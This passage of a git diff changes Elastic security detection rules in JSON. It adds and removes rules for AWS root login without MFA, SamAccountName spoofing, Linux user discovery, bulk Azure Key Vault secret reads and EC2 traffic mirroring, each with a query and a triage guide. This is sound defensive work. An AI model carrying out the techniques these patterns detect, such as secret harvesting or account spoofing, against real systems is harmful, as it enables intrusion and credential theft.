ATT&CK", - "tactic": { - "id": "TA0004", - "name": "Privilege Escalation", - "reference": "https://attack.mitre.org/tactics/TA0004/" - }, - "technique": [ - { - "id": "T1078", - "name": "Valid Accounts", - "reference": "https://attack.mitre.org/techniques/T1078/" - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "query", - "version": 210 - }, - "id": "bc0c6f0d-dab0-47a3-b135-0925f0a333bc_210", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/bc0c6f0d-dab0-47a3-b135-0925f0a333bc_211.json b/packages/security_detection_engine/kibana/security_rule/bc0c6f0d-dab0-47a3-b135-0925f0a333bc_211.json deleted file mode 100644 index 5dccf04072f..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/bc0c6f0d-dab0-47a3-b135-0925f0a333bc_211.json +++ /dev/null @@ -1,99 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Identifies attempts to login to AWS as the root user without using multi-factor authentication (MFA). Amazon AWS best practices indicate that the root user should be protected by MFA.", - "false_positives": [ - "Some organizations allow login with the root user without MFA, however, this is not considered best practice by AWS and increases the risk of compromised credentials." - ], - "from": "now-60m", - "index": [ - "filebeat-*", - "logs-aws.cloudtrail-*" - ], - "interval": "10m", - "language": "kuery", - "license": "Elastic License v2", - "name": "AWS Root Login Without MFA", - "note": "## Triage and analysis\n\n### Investigating AWS Root Login Without MFA\n\nMulti-factor authentication (MFA) in AWS is a simple best practice that adds an extra layer of protection on top of your user name and password. With MFA enabled, when a user signs in to an AWS Management Console, they will be prompted for their user name and password, as well as for an authentication code from their AWS MFA device. Taken together, these multiple factors provide increased security for your AWS account settings and resources.\n\nFor more information about using MFA in AWS, access the [official documentation](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa.html).\n\nThe AWS root account is the one identity that has complete access to all AWS services and resources in the account, which is created when the AWS account is created. AWS strongly recommends that you do not use the root user for your everyday tasks, even the administrative ones. Instead, adhere to the best practice of using the root user only to create your first IAM user. Then securely lock away the root user credentials and use them to perform only a few account and service management tasks. Amazon provides a [list of the tasks that require root user](https://docs.aws.amazon.com/general/latest/gr/root-vs-iam.html#aws_tasks-that-require-root).\n\nThis rule looks for attempts to log in to AWS as the root user without using multi-factor authentication (MFA), meaning the account is not secured properly.\n\n#### Possible investigation steps\n\n- Investigate other alerts associated with the user account during the past 48 hours.\n- Examine whether this activity is common in the environment by looking for past occurrences on your logs.\n- Consider the source IP address and geolocation for the calling user who issued the command. Do they look normal for the calling user?\n- Examine the commands, API calls, and data management actions performed by the account in the last 24 hours.\n- Contact the account owner and confirm whether they are aware of this activity.\n- If you suspect the account has been compromised, scope potentially compromised assets by tracking access to servers,\nservices, and data accessed by the account in the last 24 hours.\n\n### False positive analysis\n\n- While this activity is not inherently malicious, the root account must use MFA. The security team should address any potential benign true positive (B-TP), as this configuration can risk the entire cloud environment.\n\n### Response and remediation\n\n- Initiate the incident response process based on the outcome of the triage.\n- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context:\n - Identify the account role in the cloud environment.\n - Identify the services or servers involved criticality.\n - Work with your IT team to identify and minimize the impact on users.\n - Identify if the attacker is moving laterally and compromising other accounts, servers, or services.\n - Identify if there are any regulatory or legal ramifications related to this activity.\n- Configure multi-factor authentication for the user.\n- Follow security best practices [outlined](https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/) by AWS.\n- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).", - "query": "event.dataset:aws.cloudtrail and event.provider:signin.amazonaws.com and event.action:ConsoleLogin and\n aws.cloudtrail.user_identity.type:Root and\n aws.cloudtrail.console_login.additional_eventdata.mfa_used:false and\n event.outcome:success\n", - "references": [ - "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html" - ], - "related_integrations": [ - { - "integration": "cloudtrail", - "package": "aws", - "version": "^4.0.0" - } - ], - "required_fields": [ - { - "ecs": false, - "name": "aws.cloudtrail.console_login.additional_eventdata.mfa_used", - "type": "boolean" - }, - { - "ecs": false, - "name": "aws.cloudtrail.user_identity.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.action", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.dataset", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.outcome", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.provider", - "type": "keyword" - } - ], - "risk_score": 73, - "rule_id": "bc0c6f0d-dab0-47a3-b135-0925f0a333bc", - "setup": "The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.", - "severity": "high", - "tags": [ - "Domain: Cloud", - "Data Source: AWS", - "Data Source: Amazon Web Services", - "Data Source: AWS Route53", - "Use Case: Identity and Access Audit", - "Resources: Investigation Guide", - "Tactic: Privilege Escalation" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0004", - "name": "Privilege Escalation", - "reference": "https://attack.mitre.org/tactics/TA0004/" - }, - "technique": [ - { - "id": "T1078", - "name": "Valid Accounts", - "reference": "https://attack.mitre.org/techniques/T1078/" - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "query", - "version": 211 - }, - "id": "bc0c6f0d-dab0-47a3-b135-0925f0a333bc_211", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/bc0c6f0d-dab0-47a3-b135-0925f0a333bc_212.json b/packages/security_detection_engine/kibana/security_rule/bc0c6f0d-dab0-47a3-b135-0925f0a333bc_212.json deleted file mode 100644 index 983a87cd95b..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/bc0c6f0d-dab0-47a3-b135-0925f0a333bc_212.json +++ /dev/null @@ -1,99 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Identifies attempts to login to AWS as the root user without using multi-factor authentication (MFA). Amazon AWS best practices indicate that the root user should be protected by MFA.", - "false_positives": [ - "Some organizations allow login with the root user without MFA, however, this is not considered best practice by AWS and increases the risk of compromised credentials." - ], - "from": "now-60m", - "index": [ - "filebeat-*", - "logs-aws.cloudtrail-*" - ], - "interval": "10m", - "language": "kuery", - "license": "Elastic License v2", - "name": "Deprecated - AWS Root Login Without MFA", - "note": "## Triage and analysis\n\n### Investigating Deprecated - AWS Root Login Without MFA\n\nMulti-factor authentication (MFA) in AWS is a simple best practice that adds an extra layer of protection on top of your user name and password. With MFA enabled, when a user signs in to an AWS Management Console, they will be prompted for their user name and password, as well as for an authentication code from their AWS MFA device. Taken together, these multiple factors provide increased security for your AWS account settings and resources.\n\nFor more information about using MFA in AWS, access the [official documentation](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa.html).\n\nThe AWS root account is the one identity that has complete access to all AWS services and resources in the account, which is created when the AWS account is created. AWS strongly recommends that you do not use the root user for your everyday tasks, even the administrative ones. Instead, adhere to the best practice of using the root user only to create your first IAM user. Then securely lock away the root user credentials and use them to perform only a few account and service management tasks. Amazon provides a [list of the tasks that require root user](https://docs.aws.amazon.com/general/latest/gr/root-vs-iam.html#aws_tasks-that-require-root).\n\nThis rule looks for attempts to log in to AWS as the root user without using multi-factor authentication (MFA), meaning the account is not secured properly.\n\n#### Possible investigation steps\n\n- Investigate other alerts associated with the user account during the past 48 hours.\n- Examine whether this activity is common in the environment by looking for past occurrences on your logs.\n- Consider the source IP address and geolocation for the calling user who issued the command. Do they look normal for the calling user?\n- Examine the commands, API calls, and data management actions performed by the account in the last 24 hours.\n- Contact the account owner and confirm whether they are aware of this activity.\n- If you suspect the account has been compromised, scope potentially compromised assets by tracking access to servers,\nservices, and data accessed by the account in the last 24 hours.\n\n### False positive analysis\n\n- While this activity is not inherently malicious, the root account must use MFA. The security team should address any potential benign true positive (B-TP), as this configuration can risk the entire cloud environment.\n\n### Response and remediation\n\n- Initiate the incident response process based on the outcome of the triage.\n- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context:\n - Identify the account role in the cloud environment.\n - Identify the services or servers involved criticality.\n - Work with your IT team to identify and minimize the impact on users.\n - Identify if the attacker is moving laterally and compromising other accounts, servers, or services.\n - Identify if there are any regulatory or legal ramifications related to this activity.\n- Configure multi-factor authentication for the user.\n- Follow security best practices [outlined](https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/) by AWS.\n- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).", - "query": "event.dataset:aws.cloudtrail and event.provider:signin.amazonaws.com and event.action:ConsoleLogin and\n aws.cloudtrail.user_identity.type:Root and\n aws.cloudtrail.console_login.additional_eventdata.mfa_used:false and\n event.outcome:success\n", - "references": [ - "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html" - ], - "related_integrations": [ - { - "integration": "cloudtrail", - "package": "aws", - "version": "^4.0.0" - } - ], - "required_fields": [ - { - "ecs": false, - "name": "aws.cloudtrail.console_login.additional_eventdata.mfa_used", - "type": "boolean" - }, - { - "ecs": false, - "name": "aws.cloudtrail.user_identity.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.action", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.dataset", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.outcome", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.provider", - "type": "keyword" - } - ], - "risk_score": 73, - "rule_id": "bc0c6f0d-dab0-47a3-b135-0925f0a333bc", - "setup": "The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.", - "severity": "high", - "tags": [ - "Domain: Cloud", - "Data Source: AWS", - "Data Source: Amazon Web Services", - "Data Source: AWS Route53", - "Use Case: Identity and Access Audit", - "Resources: Investigation Guide", - "Tactic: Privilege Escalation" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0004", - "name": "Privilege Escalation", - "reference": "https://attack.mitre.org/tactics/TA0004/" - }, - "technique": [ - { - "id": "T1078", - "name": "Valid Accounts", - "reference": "https://attack.mitre.org/techniques/T1078/" - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "query", - "version": 212 - }, - "id": "bc0c6f0d-dab0-47a3-b135-0925f0a333bc_212", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/bdcf646b-08d4-492c-870a-6c04e3700034_214.json b/packages/security_detection_engine/kibana/security_rule/bdcf646b-08d4-492c-870a-6c04e3700034_214.json new file mode 100644 index 00000000000..35d5fe497ce --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/bdcf646b-08d4-492c-870a-6c04e3700034_214.json @@ -0,0 +1,122 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies a suspicious computer account name rename event, which may indicate an attempt to exploit CVE-2021-42278 to elevate privileges from a standard domain user to a user with domain admin privileges. CVE-2021-42278 is a security vulnerability that allows potential attackers to impersonate a domain controller via samAccountName attribute spoofing.", + "from": "now-9m", + "index": [ + "logs-system.security*", + "logs-windows.forwarded*", + "winlogbeat-*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "Potential Privileged Escalation via SamAccountName Spoofing", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Potential Privileged Escalation via SamAccountName Spoofing\n\nIn Active Directory environments, the samAccountName attribute is crucial for identifying user and computer accounts. Adversaries may exploit vulnerabilities like CVE-2021-42278 to spoof this attribute, potentially elevating privileges by renaming computer accounts to mimic domain controllers. The detection rule identifies suspicious renaming events, where a machine account is altered to resemble a user account, signaling possible privilege escalation attempts.\n\n### Possible investigation steps\n\n- Review the event logs to confirm the occurrence of a \"renamed-user-account\" action, focusing on entries where the OldTargetUserName ends with a \"$\" and the NewTargetUserName does not, indicating a potential spoofing attempt.\n- Identify the source of the rename event by examining the event logs for the user or system that initiated the change, and determine if it aligns with expected administrative activity.\n- Check the history of the NewTargetUserName to see if it has been used in any recent authentication attempts or privileged operations, which could indicate malicious intent.\n- Investigate the associated IP address and hostname from which the rename action was performed to determine if it is a known and trusted source within the network.\n- Correlate the event with other security alerts or logs to identify any patterns or additional suspicious activities that might suggest a broader attack campaign.\n- Assess the potential impact by determining if the renamed account has been granted elevated privileges or access to sensitive resources since the rename event occurred.\n\n### False positive analysis\n\n- Routine administrative tasks involving legitimate renaming of computer accounts can trigger false positives. To manage this, create exceptions for known administrative activities by excluding specific administrator accounts or service accounts from the detection rule.\n- Automated processes or scripts that rename computer accounts as part of regular maintenance or deployment procedures may also cause false alerts. Identify these processes and exclude their associated accounts or event patterns from the rule.\n- Temporary renaming of computer accounts for troubleshooting or testing purposes can be mistaken for suspicious activity. Document and exclude these temporary changes by maintaining a list of authorized personnel and their activities.\n- Changes made by trusted third-party software or management tools that interact with Active Directory should be reviewed and, if deemed safe, excluded from triggering alerts by specifying the tool's account or signature in the rule exceptions.\n\n### Response and remediation\n\n- Immediately isolate the affected machine from the network to prevent further unauthorized access or lateral movement within the domain.\n- Revert any unauthorized changes to the samAccountName attribute by renaming the affected computer account back to its original name.\n- Conduct a thorough review of recent changes in Active Directory, focusing on user and computer account modifications, to identify any other potentially compromised accounts.\n- Reset passwords for the affected machine account and any other accounts that may have been accessed or modified during the incident.\n- Apply the latest security patches and updates to all domain controllers and critical systems to mitigate vulnerabilities like CVE-2021-42278.\n- Enhance monitoring and logging for Active Directory events, specifically focusing on account renaming activities, to detect similar threats in the future.\n- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to ensure comprehensive remediation efforts are undertaken.", + "query": "iam where host.os.type == \"windows\" and event.action == \"renamed-user-account\" and\n /* machine account name renamed to user like account name */\n winlog.event_data.OldTargetUserName : \"*$\" and not winlog.event_data.NewTargetUserName : \"*$\"\n", + "references": [ + "https://support.microsoft.com/en-us/topic/kb5008102-active-directory-security-accounts-manager-hardening-changes-cve-2021-42278-5975b463-4c95-45e1-831a-d120004e258e", + "https://cloudbrothers.info/en/exploit-kerberos-samaccountname-spoofing/", + "https://github.com/cube0x0/noPac", + "https://twitter.com/exploitph/status/1469157138928914432", + "https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html" + ], + "related_integrations": [ + { + "package": "system", + "version": "^2.0.0" + }, + { + "package": "windows", + "version": "^3.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.event_data.NewTargetUserName", + "type": "unknown" + }, + { + "ecs": false, + "name": "winlog.event_data.OldTargetUserName", + "type": "unknown" + } + ], + "risk_score": 73, + "rule_id": "bdcf646b-08d4-492c-870a-6c04e3700034", + "severity": "high", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Persistence", + "Tactic: Privilege Escalation", + "Use Case: Active Directory Monitoring", + "Data Source: Active Directory", + "Use Case: Vulnerability", + "Data Source: Windows Security Event Logs", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0004", + "name": "Privilege Escalation", + "reference": "https://attack.mitre.org/tactics/TA0004/" + }, + "technique": [ + { + "id": "T1068", + "name": "Exploitation for Privilege Escalation", + "reference": "https://attack.mitre.org/techniques/T1068/" + }, + { + "id": "T1078", + "name": "Valid Accounts", + "reference": "https://attack.mitre.org/techniques/T1078/", + "subtechnique": [ + { + "id": "T1078.002", + "name": "Domain Accounts", + "reference": "https://attack.mitre.org/techniques/T1078/002/" + } + ] + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0003", + "name": "Persistence", + "reference": "https://attack.mitre.org/tactics/TA0003/" + }, + "technique": [ + { + "id": "T1098", + "name": "Account Manipulation", + "reference": "https://attack.mitre.org/techniques/T1098/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 214 + }, + "id": "bdcf646b-08d4-492c-870a-6c04e3700034_214", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/bf8c007c-7dee-4842-8e9a-ee534c09d205_3.json b/packages/security_detection_engine/kibana/security_rule/bf8c007c-7dee-4842-8e9a-ee534c09d205_3.json deleted file mode 100644 index 2b61e79607c..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/bf8c007c-7dee-4842-8e9a-ee534c09d205_3.json +++ /dev/null @@ -1,88 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "building_block_type": "default", - "description": "Identifies the use of built-in tools which adversaries may use to enumerate the system owner/user of a compromised system.", - "from": "now-119m", - "index": [ - "logs-endpoint.events.*", - "endgame-*", - "auditbeat-*", - "logs-auditd_manager.auditd-*" - ], - "interval": "60m", - "language": "eql", - "license": "Elastic License v2", - "name": "System Owner/User Discovery Linux", - "query": "process where event.type == \"start\" and event.action in (\"exec\", \"exec_event\", \"executed\", \"process_started\") and \nprocess.name : (\"whoami\", \"w\", \"who\", \"users\", \"id\")\n", - "related_integrations": [ - { - "package": "endpoint", - "version": "^8.2.0" - }, - { - "package": "auditd_manager", - "version": "^1.0.0" - } - ], - "required_fields": [ - { - "ecs": true, - "name": "event.action", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.name", - "type": "keyword" - } - ], - "risk_score": 21, - "rule_id": "bf8c007c-7dee-4842-8e9a-ee534c09d205", - "severity": "low", - "tags": [ - "Domain: Endpoint", - "OS: Linux", - "Use Case: Threat Detection", - "Tactic: Discovery", - "Rule Type: BBR", - "Data Source: Elastic Defend", - "Data Source: Elastic Endgame", - "Data Source: Auditd Manager" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0007", - "name": "Discovery", - "reference": "https://attack.mitre.org/tactics/TA0007/" - }, - "technique": [ - { - "id": "T1033", - "name": "System Owner/User Discovery", - "reference": "https://attack.mitre.org/techniques/T1033/" - }, - { - "id": "T1069", - "name": "Permission Groups Discovery", - "reference": "https://attack.mitre.org/techniques/T1069/" - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "eql", - "version": 3 - }, - "id": "bf8c007c-7dee-4842-8e9a-ee534c09d205_3", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/c07f7898-5dc3-11f0-9f27-f661ea17fbcd_2.json b/packages/security_detection_engine/kibana/security_rule/c07f7898-5dc3-11f0-9f27-f661ea17fbcd_2.json deleted file mode 100644 index 0f39962d979..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/c07f7898-5dc3-11f0-9f27-f661ea17fbcd_2.json +++ /dev/null @@ -1,68 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Identifies excessive secret or key retrieval operations from Azure Key Vault. This rule detects when a user principal retrieves secrets or keys from Azure Key Vault multiple times within a short time frame, which may indicate potential abuse or unauthorized access attempts. The rule focuses on high-frequency retrieval operations that deviate from normal user behavior, suggesting possible credential harvesting or misuse of sensitive information.", - "false_positives": [ - "Service accounts or applications that frequently access Azure Key Vault for configuration or operational purposes may trigger this rule.", - "Automated scripts or processes that retrieve secrets or keys for legitimate purposes, such as secret rotation or application configuration, may also lead to false positives.", - "Security teams performing routine audits or assessments that involve retrieving keys or secrets from Key Vaults may trigger this rule if they perform multiple retrievals in a short time frame." - ], - "from": "now-9m", - "interval": "8m", - "language": "esql", - "license": "Elastic License v2", - "name": "Excessive Secret or Key Retrieval from Azure Key Vault", - "note": "## Triage and analysis\n\n### Investigating Excessive Secret or Key Retrieval from Azure Key Vault\n\nAzure Key Vault is a cloud service that safeguards encryption keys and secrets like certificates, connection strings, and passwords. It is crucial for managing sensitive data in Azure environments. Unauthorized modifications to Key Vaults can lead to data breaches or service disruptions. This rule detects excessive secret or key retrieval operations from Azure Key Vault, which may indicate potential abuse or unauthorized access attempts.\n\n### Possible investigation steps\n- Review the `azure.platformlogs.identity.claim.upn` field to identify the user principal making the retrieval requests. This can help determine if the activity is legitimate or suspicious.\n- Check the `azure.platformlogs.identity.claim.appid` or `azure.platformlogs.identity.claim.appid_display_name` to identify the application or service making the requests. If the application is not recognized or authorized, it may indicate a potential security incident. It is plausible that the application is a FOCI compliant application, which are commonly abused by adversaries to evade security controls or conditional access policies.\n- Analyze the `azure.platformlogs.resource.name` field to determine which Key Vault is being accessed. This can help assess the impact of the retrieval operations and whether they target sensitive resources.\n- Review the `event.action` field to confirm the specific actions being performed, such as `KeyGet`, `SecretGet`, or `CertificateGet`. These actions indicate retrieval of keys, secrets, or certificates from the Key Vault.\n- Check the `source.ip` or `geo.*` fields to identify the source of the retrieval requests. Look for unusual or unexpected IP addresses, especially those associated with known malicious activity or geographic locations that do not align with the user's typical behavior.\n- Use the `time_window` field to analyze the frequency of retrieval operations. If multiple retrievals occur within a short time frame (e.g., within a few minutes), it may indicate excessive or suspicious activity.\n- Correlate the retrieval operations with other security events or alerts in the environment to identify any patterns or related incidents.\n- Triage the user with Entra ID sign-in logs to gather more context about their authentication behavior and any potential anomalies.\n\n### False positive analysis\n- Routine administrative tasks or automated scripts may trigger excessive retrievals, especially in environments where Key Vaults are heavily utilized for application configurations or secrets management. If this is expected behavior, consider adjusting the rule or adding exceptions for specific applications or user principals.\n- Legitimate applications or services may perform frequent retrievals of keys or secrets for operational purposes, such as configuration updates or secret rotation. If this is expected behavior, consider adjusting the rule or adding exceptions for specific applications or user principals.\n- Security teams may perform periodic audits or assessments that involve retrieving keys or secrets from Key Vaults. If this is expected behavior, consider adjusting the rule or adding exceptions for specific user principals or applications.\n- Some applications may require frequent access to keys or secrets for normal operation, leading to high retrieval counts. If this is expected behavior, consider adjusting the rule or adding exceptions for specific applications or user principals.\n\n### Response and remediation\n- Investigate the user principal making the excessive retrieval requests to determine if they are authorized to access the Key Vault and its contents. If the user is not authorized, take appropriate actions to block their access and prevent further unauthorized retrievals.\n- Review the application or service making the requests to ensure it is legitimate and authorized to access the Key Vault. If the application is unauthorized or suspicious, consider blocking it and revoking its permissions to access the Key Vault.\n- Assess the impact of the excessive retrieval operations on the Key Vault and its contents. Determine if any sensitive data was accessed or compromised during the retrievals.\n- Implement additional monitoring and alerting for the Key Vault to detect any further suspicious activity or unauthorized access attempts.\n- Consider implementing stricter access controls or policies for Key Vaults to limit excessive retrievals and ensure that only authorized users and applications can access sensitive keys and secrets.\n- Educate users and administrators about the risks associated with excessive retrievals from Key Vaults and encourage them to follow best practices for managing keys and secrets in Azure environments.\n", - "query": "from logs-azure.platformlogs-* metadata _id, _index\n\n// Filter for Azure Key Vault read operations\n| where event.dataset == \"azure.platformlogs\"\n and event.action in (\n \"VaultGet\",\n \"KeyGet\",\n \"KeyList\",\n \"KeyListVersions\",\n \"KeyGetDeleted\",\n \"KeyListDeleted\",\n \"SecretGet\",\n \"SecretList\",\n \"SecretListVersions\",\n \"SecretGetDeleted\",\n \"SecretListDeleted\",\n \"CertificateGet\",\n \"CertificateList\",\n \"CertificateListVersions\",\n \"CertificateGetDeleted\",\n \"CertificateListDeleted\",\n \"CertificatePolicyGet\",\n \"CertificateContactsGet\",\n \"CertificateIssuerGet\",\n \"CertificateIssuersList\"\n )\n\n// Truncate timestamps into 1-minute windows\n| eval Esql.time_window_date_trunc = date_trunc(1 minute, @timestamp)\n\n// Aggregate identity, geo, resource, and activity info\n| stats\n Esql_priv.azure_platformlogs_identity_claim_upn_values = values(azure.platformlogs.identity.claim.upn),\n Esql.azure_platformlogs_identity_claim_upn_count_distinct = count_distinct(azure.platformlogs.identity.claim.upn),\n Esql.azure_platformlogs_identity_claim_appid_values = values(azure.platformlogs.identity.claim.appid),\n Esql.azure_platformlogs_identity_claim_objectid_values = values(azure.platformlogs.identity.claim.objectid),\n\n Esql.source_ip_values = values(source.ip),\n Esql.geo_city_values = values(geo.city_name),\n Esql.geo_region_values = values(geo.region_name),\n Esql.geo_country_values = values(geo.country_name),\n Esql.source_as_organization_name_values = values(source.as.organization.name),\n\n Esql.event_action_values = values(event.action),\n Esql.event_count = count(*),\n Esql.event_action_count_distinct = count_distinct(event.action),\n Esql.azure_resource_name_count_distinct = count_distinct(azure.resource.name),\n Esql.azure_resource_name_values = values(azure.resource.name),\n Esql.azure_platformlogs_result_type_values = values(azure.platformlogs.result_type),\n Esql.cloud_region_values = values(cloud.region),\n\n Esql.agent_name_values = values(agent.name),\n Esql.azure_subscription_id_values = values(azure.subscription_id),\n Esql.azure_resource_group_values = values(azure.resource.group),\n Esql.azure_resource_id_values = values(azure.resource.id)\n\nby Esql.time_window_date_trunc, azure.platformlogs.identity.claim.upn\n\n// keep relevant fields\n| keep\n Esql.time_window_date_trunc,\n Esql_priv.azure_platformlogs_identity_claim_upn_values,\n Esql.azure_platformlogs_identity_claim_upn_count_distinct,\n Esql.azure_platformlogs_identity_claim_appid_values,\n Esql.azure_platformlogs_identity_claim_objectid_values,\n Esql.source_ip_values,\n Esql.geo_city_values,\n Esql.geo_region_values,\n Esql.geo_country_values,\n Esql.source_as_organization_name_values,\n Esql.event_action_values,\n Esql.event_count,\n Esql.event_action_count_distinct,\n Esql.azure_resource_name_count_distinct,\n Esql.azure_resource_name_values,\n Esql.azure_platformlogs_result_type_values,\n Esql.cloud_region_values,\n Esql.agent_name_values,\n Esql.azure_subscription_id_values,\n Esql.azure_resource_group_values,\n Esql.azure_resource_id_values\n\n// Filter for suspiciously high volume of distinct Key Vault reads by a single actor\n| where Esql.azure_platformlogs_identity_claim_upn_count_distinct == 1 and Esql.event_count >= 10 and Esql.event_action_count_distinct >= 2\n\n| sort Esql.time_window_date_trunc desc\n", - "references": [ - "https://www.inversecos.com/2022/05/detection-and-compromise-azure-key.html" - ], - "risk_score": 43, - "rule_id": "c07f7898-5dc3-11f0-9f27-f661ea17fbcd", - "setup": "#### Required Azure Key Vault Diagnostic Logs\n\nTo ensure this rule functions correctly, the following diagnostic logs must be enabled for Azure Key Vault:\n- AuditEvent: This log captures all read and write operations performed on the Key Vault, including secret, key, and certificate retrievals. These logs should be streamed to the Event Hub used for the Azure integration configuration.\n", - "severity": "medium", - "tags": [ - "Domain: Cloud", - "Domain: Storage", - "Domain: Identity", - "Data Source: Azure", - "Data Source: Azure Platform Logs", - "Data Source: Azure Key Vault", - "Use Case: Threat Detection", - "Use Case: Identity and Access Audit", - "Tactic: Credential Access", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0006", - "name": "Credential Access", - "reference": "https://attack.mitre.org/tactics/TA0006/" - }, - "technique": [ - { - "id": "T1555", - "name": "Credentials from Password Stores", - "reference": "https://attack.mitre.org/techniques/T1555/", - "subtechnique": [ - { - "id": "T1555.006", - "name": "Cloud Secrets Management Stores", - "reference": "https://attack.mitre.org/techniques/T1555/006/" - } - ] - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 2 - }, - "id": "c07f7898-5dc3-11f0-9f27-f661ea17fbcd_2", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/c1812764-0788-470f-8e74-eb4a14d47573_207.json b/packages/security_detection_engine/kibana/security_rule/c1812764-0788-470f-8e74-eb4a14d47573_207.json deleted file mode 100644 index 79d52599b05..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/c1812764-0788-470f-8e74-eb4a14d47573_207.json +++ /dev/null @@ -1,106 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic", - "Austin Songer" - ], - "description": "Identifies potential Traffic Mirroring in an Amazon Elastic Compute Cloud (EC2) instance. Traffic Mirroring is an Amazon VPC feature that you can use to copy network traffic from an Elastic network interface. This feature can potentially be abused to exfiltrate sensitive data from unencrypted internal traffic.", - "false_positives": [ - "Traffic Mirroring may be done by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Traffic Mirroring from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "from": "now-60m", - "index": [ - "filebeat-*", - "logs-aws.cloudtrail-*" - ], - "interval": "10m", - "language": "kuery", - "license": "Elastic License v2", - "name": "AWS EC2 Full Network Packet Capture Detected", - "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating AWS EC2 Full Network Packet Capture Detected\n\nTraffic Mirroring in AWS EC2 allows copying of network traffic for monitoring and analysis, crucial for security and performance insights. However, adversaries can exploit this by capturing unencrypted data, leading to potential data exfiltration. The detection rule identifies successful creation of traffic mirroring components, signaling possible misuse for unauthorized data collection.\n\n### Possible investigation steps\n\n- Review the CloudTrail logs for the specific event actions: CreateTrafficMirrorFilter, CreateTrafficMirrorFilterRule, CreateTrafficMirrorSession, and CreateTrafficMirrorTarget to identify the user or role that initiated these actions.\n- Check the event.outcome field to confirm the success of the traffic mirroring setup and gather details about the time and source IP address of the request.\n- Investigate the associated Elastic Network Interface (ENI) to determine which EC2 instance is involved and assess its role and importance within the network.\n- Analyze the network traffic patterns and data flow from the mirrored traffic to identify any signs of data exfiltration or unusual data transfer activities.\n- Verify the encryption status of the network traffic being mirrored to assess the risk of sensitive data exposure.\n- Cross-reference the involved AWS account and IAM roles with known threat actor profiles or previous security incidents to identify potential insider threats or compromised accounts.\n\n### False positive analysis\n\n- Routine network monitoring activities may trigger the rule if legitimate traffic mirroring is set up for performance analysis. To manage this, identify and document authorized traffic mirroring configurations and exclude them from alerts.\n- Security audits or compliance checks might involve creating traffic mirroring sessions. Coordinate with audit teams to schedule these 